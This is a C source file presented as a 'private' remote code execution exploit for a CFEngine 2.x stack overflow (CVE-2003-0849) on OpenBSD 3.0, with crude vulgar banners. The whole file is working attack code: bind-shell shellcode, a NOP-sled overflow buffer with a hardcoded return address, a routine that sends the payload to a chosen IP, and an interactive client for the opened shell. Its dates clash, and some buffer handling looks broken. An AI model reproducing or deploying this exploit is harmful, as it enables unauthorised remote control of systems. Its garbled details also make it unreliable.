/*
    8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o 8==o
    "    CVE-2003-0849 - private rce exploit  for x86 openbsd 3.0"
    "    GNU CFEngine 2.x remote stack overflow exploit      "
    "    private exploit ! don't share !!!                   "
    "    The original private exploit code was written in    "
    "    2003 and was patched in 2026.                       "      
    "    code by : Antonius (w1sdom) - bluedragonsec.com     "
    "    https://github.com/bluedragonsecurity               "
    "    (c) solhack (solhack.ath.cx)- 2002-forever          "
    8==o 8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

/*
94 bytes private bind shell 1337 shellcode for x86 openbsd
this shellcode is used in many of our private exploits
(c) solhack - sons of liberty
*/
unsigned char l33t_c0d3[] =
"\x31\xc0\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x96\x31\xc9"
"\x51\x66\x68\x05\x39\x66\x6a\x02\x89\xe2\x6a\x10\x52\x56\x51"
"\x6a\x68\x58\xcd\x80\x6a\x01\x56\x50\xb0\x6a\xcd\x80\x50\x50"
"\x56\x50\xb0\x1e\xcd\x80\x93\x6a\x02\x59\x51\x53\x51\x6a\x5a"
"\x58\xcd\x80\x49\x79\xf5\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe2\x51\x52\x53\x51\x6a"
"\x3b\x58\xcd\x80";

void banner() {
printf(
"   ____  ____  _______   ______ _____ ____     _______  __ ____  __    ____  __________\n"
"  / __ \\/ __ \\/ ____/ | / / __ ) ___// __ \\   / ____/ |/ // __ \\/ /   / __ \\/  _/_  __/\n"
" / / / / /_/ / __/ /  |/ / __  \\__ \\/ / / /  / __/  |   // /_/ / /   / / / // /  / /   \n"
"/ /_/ / ____/ /___/ /|  / /_/ /__/ / /_/ /  / /___ /   |/ ____/ /___/ /_/ // /  / /    \n"
"\\____/_/   /_____/_/ |_/_____/____/_____/  /_____//_/|_/_/   /_____/\\____/___/ /_/     \n\n");

   printf(
    "\n8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o 8==o\n"
    "    CVE-2003-0849 - private rce exploit - for x86 openbsd 3.0        \n"
    "    GNU CFEngine 2.x remote stack overflow exploit     \n"
    "    private exploit ! don't share !!!                  \n"
    "    The original private exploit code was written in   \n"
    "    February 2004 and was patched in 2026.             \n"      
    "    code by : Antonius (w1sdom) - bluedragonsec.com    \n"
    "    https://github.com/bluedragonsecurity              \n"
    "    (c) solhack (solhack.ath.cx)- 2002-forever         \n"
    "  8==o 8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o\n\n");
}

void usage() {
printf(
    "\n\trun : ./exploit <ip address> <port>              \n"
    "\te.g :                                              \n"
    "\t./exploit 192.168.0.1 5308                         \n"
    "\t./exploit 127.0.0.1 5308                           \n"
    "\t 8==o 8==o 8==o 8==o 8==o 8==o 8==o 8==o 8==o 8==o \n\n"); 
}

void shell(char *ip, int port) {
    int n, s;
    struct sockaddr_in sa;
    char buf[4096];
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    inet_aton(ip, &sa.sin_addr);
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] exploit failed !");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    write(1, "# ", 2);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(0, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(s, &fds)) {
            n = read(s, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(1, buf, n);
            write(1, "# ", 2);
        }
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(s, buf, n);
        }
    }
    close(s);
}

int main(int argc, char **argv) {
    int s, port = 5308, total = 4586;
    char buf[total + 1];
    char *ptr;
    struct sockaddr_in sa;
    struct hostent *h;
    unsigned int eip = 0x41414141;
    
    banner();
    if (argc < 2) {
        usage();
        return 1;
    }
    port = atoi(argv[2]);
    h = gethostbyname(argv[1]);
    if (!h) { 
        printf("[-] resolve failed\n"); 
        return 1; 
    }
    s = socket(AF_INET, SOCK_STREAM, 0);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = *(struct in_addr *)h->h_addr_list[0];
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        printf("[-] connect failed\n"); 
        return 1;
    }
    printf("[+] connected to %s:%d\n", argv[1], port);
    ptr = buf;
    memcpy(ptr, "t   4586", 8);
    ptr += 8;
    memset(ptr, '\x90', 4578);
    /*
    0x400CC791 -> libcrypto.so.5.1's openbsd 3.0 call esp
    */
    eip = 0x400CC791;
    memcpy(ptr + 4100, &eip, 4);       
    memcpy(ptr + 4104, l33t_c0d3, 94);
    *ptr = '\0';
    send(s, buf, total, 0);
    close(s);
    printf("[+] sent ... please wait...\n");
    sleep(2);
    shell(argv[1], 1337);

    return 0;
}
